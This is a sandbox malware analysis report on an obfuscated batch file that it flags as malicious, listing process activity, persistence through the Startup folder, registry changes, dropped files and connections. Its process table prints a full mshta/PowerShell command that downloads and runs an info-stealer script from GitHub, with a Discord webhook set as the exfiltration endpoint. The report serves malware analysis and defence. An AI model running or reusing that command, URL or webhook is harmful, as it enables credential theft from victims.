| File name: | somalifuscator.bat |
| Full analysis: | https://app.any.run/tasks/78052695-cbdc-40cb-8647-73e136772c27 |
| Verdict: | Malicious activity |
| Analysis date: | July 23, 2024, 13:01:10 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | Unicode text, UTF-16, little-endian text, with very long lines (32767), with no line terminators |
| MD5: | 07F9549BA0E65BB2BD47FCF55C60A608 |
| SHA1: | 50F97F17245B1967AE322F5A72F48184DB4932FA |
| SHA256: | 84617E9C081B6B585582D2589AACE5A0A7887283F9488B5A6D05906F94116F36 |
| SSDEEP: | 1536:69M37hEimNW4QbAjC5SMd0aF00kd5Regk1IcIoJkFVcKaoowmgd27/:rENXCbiae0kjRep6VcEo/gUT |
MALICIOUS
Bypass execution policy to execute commands
- powershell.exe (PID: 5832)
- powershell.exe (PID: 4404)
- powershell.exe (PID: 5692)
Changes powershell execution policy (Bypass)
- cmd.exe (PID: 6464)
- cmd.exe (PID: 4672)
Run PowerShell with an invisible window
- powershell.exe (PID: 5832)
Create files in the Startup directory
- cmd.exe (PID: 4672)
SUSPICIOUS
Starts CMD.EXE for commands execution
- powershell.exe (PID: 5832)
Executing commands from a ".bat" file
- powershell.exe (PID: 5832)
Using 'findstr.exe' to search for text patterns in files and output
- cmd.exe (PID: 6464)
- cmd.exe (PID: 4672)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 6464)
- cmd.exe (PID: 4672)
- mshta.exe (PID: 2544)
The process bypasses the loading of PowerShell profile settings
- cmd.exe (PID: 6464)
- cmd.exe (PID: 4672)
The process hides Powershell's copyright startup banner
- cmd.exe (PID: 4672)
- cmd.exe (PID: 6464)
Starts application with an unusual extension
- cmd.exe (PID: 4672)
- cmd.exe (PID: 6464)
Uses RUNDLL32.EXE to load library
- cmd.exe (PID: 4672)
- cmd.exe (PID: 6464)
Powershell scripting: start process
- cmd.exe (PID: 4672)
Probably obfuscated PowerShell command line is found
- mshta.exe (PID: 2544)
The process executes Powershell scripts
- mshta.exe (PID: 2544)
The process creates files with name similar to system file names
- WerFault.exe (PID: 5428)
Possibly malicious use of IEX has been detected
- mshta.exe (PID: 2544)
Executes application which crashes
- mshta.exe (PID: 2544)
INFO
Checks supported languages
- chcp.com (PID: 6484)
- chcp.com (PID: 2544)
Reads Internet Explorer settings
- mshta.exe (PID: 2544)
Checks proxy server information
- WerFault.exe (PID: 5428)
- powershell.exe (PID: 4044)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 4044)
Reads the software policy settings
- WerFault.exe (PID: 5428)
Creates files or folders in the user directory
- WerFault.exe (PID: 5428)
Disables trace logs
- powershell.exe (PID: 4044)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .mp3 | | | MP3 audio (ID3 v1.x tag) (45.4) |
|---|---|---|
| .txt | | | Text - UTF-16 (LE) encoded (36.3) |
| .mp3 | | | MP3 audio (18.1) |
Total processes
165
Monitored processes
32
Malicious processes
3
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 812 | findstr /i "echo" "C:\Users\admin\AppData\Local\Temp\somalifuscator.bat" | C:\Windows\System32\findstr.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Find String (QGREP) Utility Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 996 | C:\WINDOWS\system32\net1 session | C:\Windows\System32\net1.exe | — | net.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Net Command Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1128 | rundll32 | C:\Windows\System32\rundll32.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1256 | rundll32 | C:\Windows\System32\rundll32.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows host process (Rundll32) Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1432 | findstr /i "echo" "C:\Users\admin\AppData\Local\Temp\somalifuscator.bat" | C:\Windows\System32\findstr.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Find String (QGREP) Utility Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2192 | findstr /i "echo" "C:\Users\admin\AppData\Local\Temp\somalifuscator.bat" | C:\Windows\System32\findstr.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Find String (QGREP) Utility Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2544 | chcp 65001 | C:\Windows\System32\chcp.com | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Change CodePage Utility Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2544 | mshta vbscript:close(createobject("wscript.shell").run("powershell $ProgressPreference = 'SilentlyContinue';$t = Iwr -Uri 'https://raw.githubusercontent.com/ChildrenOfYahweh/Kematian-Stealer/main/frontend-src/main.ps1' -UseBasicParsing; $t -replace 'YOUR_WEBHOOK_HERE', 'https://discord.com/api/webhooks/1245964468803076146/sUQk99W99wQnOZBfrCW8tRsn0TetpTuD0yNK0N7xwUeiPnwMv6HDm9VYbCjVT-FA2zdw' | iex",0)) | C:\Windows\System32\mshta.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Microsoft (R) HTML Application host Exit code: 3221225477 Version: 11.00.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2668 | powershell.exe -nop -c "Write-Host -NoNewLine $null" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3140 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
50 125
Read events
50 060
Write events
59
Delete events
6
Modification events
| (PID) Process: | (5832) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (5832) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (5832) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (5832) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (5832) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\WINDOWS\System32\cmd.exe.FriendlyAppName |
Value: Windows Command Processor | |||
| (PID) Process: | (5832) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\WINDOWS\System32\cmd.exe.ApplicationCompany |
Value: Microsoft Corporation | |||
| (PID) Process: | (2544) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (2544) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (2544) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (2544) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
Executable files
0
Suspicious files
3
Text files
31
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 4672 | cmd.exe | C:\Users\admin\AppData\Local\Temp\kdotzASik.bat | text | |
MD5:337065424ED27284C55B80741F912713 | SHA256:4EF6F5F73F87CD552BF0DCEB245365C44996F94EB72AEB2CCEFE440FE055043B | |||
| 5692 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_growbxow.jit.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 4672 | cmd.exe | C:\Users\admin\AppData\Local\Temp\kdotqxeWQd.bat | text | |
MD5:337065424ED27284C55B80741F912713 | SHA256:4EF6F5F73F87CD552BF0DCEB245365C44996F94EB72AEB2CCEFE440FE055043B | |||
| 4672 | cmd.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fr.bat | text | |
MD5:07F9549BA0E65BB2BD47FCF55C60A608 | SHA256:84617E9C081B6B585582D2589AACE5A0A7887283F9488B5A6D05906F94116F36 | |||
| 6464 | cmd.exe | C:\Windows\System32\kdotzASik.bat | text | |
MD5:337065424ED27284C55B80741F912713 | SHA256:4EF6F5F73F87CD552BF0DCEB245365C44996F94EB72AEB2CCEFE440FE055043B | |||
| 4324 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0vnlhq2c.akj.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5832 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_fjnjocae.h1g.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 4324 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_vl3hvt0j.n5h.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 4404 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_dnm4pgfm.fvv.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 4404 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_mz1b3lsr.kq2.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
42
DNS requests
18
Threats
1
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4424 | RUXIMICS.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6012 | MoUsoCoreWorker.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
3220 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4204 | svchost.exe | 4.209.33.156:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | US | unknown |
3952 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
3220 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
1996 | slui.exe | 40.91.76.224:443 | activation-v2.sls.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
5368 | SearchApp.exe | 2.23.209.154:443 | www.bing.com | Akamai International B.V. | GB | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
login.live.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
arc.msn.com |
| whitelisted |
fd.api.iris.microsoft.com |
| whitelisted |
raw.githubusercontent.com |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2284 | svchost.exe | Not Suspicious Traffic | INFO [ANY.RUN] Attempting to access raw user content on GitHub |